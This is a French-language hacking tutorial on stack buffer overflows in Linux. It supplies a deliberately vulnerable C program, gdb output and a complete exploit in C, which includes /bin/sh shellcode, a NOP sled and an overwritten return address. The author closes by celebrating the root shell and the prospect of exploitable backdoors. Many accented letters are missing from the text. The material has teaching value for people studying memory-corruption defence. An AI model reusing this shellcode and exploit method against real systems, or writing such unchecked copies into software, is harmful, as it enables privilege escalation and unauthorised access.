
Les Exploits


Qui n'a jamais rev de faire ces propres exploits, hein ?
Si vous aussi vous etes dans ce cas la eh beh on va essayer de progresser
ensemble. Le but d'un exploit est d'obtenir des droits quand on est sur
un OS tel que linux ou WinNt.
Ici on va le faire avec linux :)

Tout d'abord voyons le fonctionnement d'un exploit. Un exploit exploite (eh
oui :) un buffer overflow (enfin pas toujours mais ici oui). C'est a dire un
dbordement d'un buffer en mmoire.
 Un programme est execut ligne par ligne.
Une instruction nomm "call" correspond  l'appel d'un fonction. Pour xcuter
cette fonction le programme sauve l'adresse de retour sur la pile, xcute
la fonction puis revient grace  l'adresse sauvegarde. Le but de l'exploit
par buffer overflow est de changer cette adresse mmoire en crivant l o
normalement on a pas le droit.
Si un programme reoit une chaine de caractere (buffer) comme
 parametre,
voila ce que a donnerait en mmoire: (le buffer est une suite de A ici)
MEMORY:)
-------------------------------------------------------------------------------
#BUFFER#                              #PILE#
AAAAAAAAAAAAAAAAAA                    |RET|???????...
-------------------------------------------------------------------------------

Enfin c'est a TRES GROSSIEREMENT ! Mais bon bref. le principe est de faire
dborder le buffer et de changer la valeur de retour de call sur la pile:

MEMORY:)
-------------------------------------------------------------------------------
#BUFFER#                              #PILE#
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|AAAA|AAAAAAAAAAAAAAAAA         
-------------------------------------------------------------------------------
 
Le buffer qu'on a rempli de "AAAA" a dbord et a atteind la valeur de retour.
Le but est de mettre la valeur qu'on veut dedans pour l'envoyer sur un bout
de programme cod par nos soins (ce que l'on appelle shellcode et qui sera
plac au dbut du buffer).

Voyons tout de suite un exemple concret.

crez le fichier exemple.c et mettez ceci dedans:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


//-----------------------------
// BO exemple - HackerStorm
//-----------------------------

void function(char *str)
{ 
	char buffer[100];
	strcpy(buffer,str);
} 

main(int argc, char *argv[])  
{
	if (argc == 2)
	{
		function(argv[1]);
	}
}

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

puis vous le compilez avec gcc:
gcc exemple.c -o exemple
(le recompilez pas car le code compil varie selon votre version de gcc,
utilisez l'exemple prcompil)
Vous obtenez un bel xecutable pour ce minuscule rogramme en c.
Le programme appelle une fonction qui va copier l'argument envoy au
programme lors de son xecution dans un buffer d'une capacit de 100
caractres.

xecutez le normalement:
------------------------------------------------------------------------

[root@localhost /root]# /root/Desktop/exemple
[root@localhost /root]# /root/Desktop/exemple 1111111111111111111111111111

c'est bon il plante pas. Maintenant faisons dborder le buffer: 

[root@localhost /root]# /root/Desktop/exemple `perl -e 'print "A" x 200'`
Erreur de segmentation (core dumped)

-------------------------------------------------------------------------

Eh oui il plante, a veut dire qu'on a bien fait dborder le buffer. le truc
en perl c'est pour xcuter le programme exemple avec 200 A en argument.
on va tenter d'exploiter cette faille.
C'est ici qu'on va normalement utiliser gdb. Mais l comme c'est mon programme
et bien on en rcrit un qui nous simplifie la vie:

-------------------------------------------------------------------------


//-----------------------------
// BO exemple - HackerStorm
//-----------------------------

unsigned long get_sp(void) {__asm__("movl %esp,%eax");}

void function(char *str)
{ 
	char buffer[100];
	strcpy(buffer,str);

	system("clear");
	printf("\nJe te donne tout pour que tu m'exploites facilement :\n");
        printf("-----------------------------------------------------\n\n");
	printf("Debut du buffer    : %x\n",buffer);
        printf("Fin du buffer      : %x\n",buffer+100);
	printf("Valeur de ESP      : %x\n",get_sp());
        printf("Contenu du buffer  : %s\n\n\n",buffer);

} 

main(int argc, char *argv[])  
{
	if (argc == 2)
	{
		function(argv[1]);
	}
}

-------------------------------------------------------------------------

On fait un petit : ./exemple `perl -e 'print "A"x108'`
et a nous donne ceci :
(108 car le ret est juste aprs le 104 dans cet exemple, comme vous me croyez
pas regardez sous gdb:

[root@localhost Desktop]# gdb -q exemple
(gdb) run `perl -e 'print "A"x108'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

bon on me crois maintenant ...)

 
Je te donne tout pour que tu m'exploites facilement :
-----------------------------------------------------
 
Debut du buffer    : bffff8e8
Fin du buffer      : bffff94c
Valeur de ESP      : bffff8c4
Contenu du buffer  : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                     AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


on a tout en main pour dtourner l'xcution de ce cher programme.
petite explication. En faisant dborder le buffer on crase la valeur de
retour de call. Cette valeur sera crite entre 104 et 108.
voila. Dans le buffer en hexa il faudra inverser l'adresse (ce qui est logique
si on rflchit un peu).
L'adresse :bffff8e8 donnera : e8f8ffbf. C'est bon on code l'exploit qui
xcutera le programme avec notre buffer.

petit problme: aprs avoir cod l'exploit on se rend compte que le fait de
l'xcuter extrieurement change l'adresse du dbut du buffer qui se retrouve
en bffffde8. a change tout !

On va donc changer l'adresse de retour, mais a quoi a sert ?
Eh bien on va mettre du code au dbut du buffer qui sera xcut lors du
retour. Ce code sera le lancement de la console du root car comme a,  nous
les maxi-privilges :)
Ce bout de code se nomme shellcode, et je dois avouer que je l'ai ripp :)

Voila donc le code de l'exploit:
(compilation : gcc exploite.c -o exploite)

-----------------------------------------------------


#include <stdlib.h>

main(int argc, char *argv[]) 
{

char *args[2];

args[2]=NULL;
args[1]= 

   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
   "\x80\xe8\xdc\xff\xff\xff/bin/sh"              //45 chars
   
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"      // les NOPS = 55 chars
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"      // soit 100 chars au total 
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90"   //104 chars

   "\xe8\xfd\xff\xbf"
   "\x00";                                        //le 0 final

 	if (argc != 2)
	{
		printf("Usage : Exploite <ProgName>\n");
	}
//printf(args[1]);
execve(argv[1],args,0);
}

-----------------------------------------------------

cod bien  l'ancienne pour bien comprendre :). Executez l'exploit comme
ceci:

./exploite exemple

Bim la console du super utilisateur apparait :) ! ObJeCtiF DeStRoYeD !
A vous les backdoors exploitables :))))

TiPiaX.
 
